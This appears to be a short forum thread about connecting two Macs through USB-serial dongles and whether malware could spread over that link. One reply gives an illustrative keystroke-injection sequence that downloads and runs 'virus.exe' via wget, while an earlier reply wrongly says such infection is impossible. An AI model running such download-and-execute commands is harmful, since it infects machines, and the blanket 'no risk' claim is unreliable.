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Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.
by rpcope1 1y ago
Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.
- brudgers 1y agoTwo ethernet dongles would not require a special cable.
- WorldDev 1y agoThanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
- the__alchemist 1y agoNo. You're just sending bits down a wired connection.
- vbezhenar 1y agoOf course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS. The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.
- kejaed 1y agoYou can buy an off the shelf cable for this. https://www.digikey.ca/en/products/detail/ftdi-future-technology-devices-international-ltd/USB-NMC-2.5M/2441364 https://www.digikey.ca/en/products/detail/ftdi-future-techno...